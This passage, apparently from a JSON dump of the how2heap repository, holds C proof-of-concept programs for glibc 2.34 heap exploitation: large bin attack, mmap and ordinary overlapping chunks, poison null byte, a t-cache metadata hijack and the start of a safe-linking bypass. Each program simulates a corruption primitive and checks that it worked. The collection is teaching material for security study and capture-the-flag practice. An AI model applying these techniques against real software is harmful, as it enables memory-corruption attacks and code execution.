long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.34/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.34/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.34/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.34/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.34/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  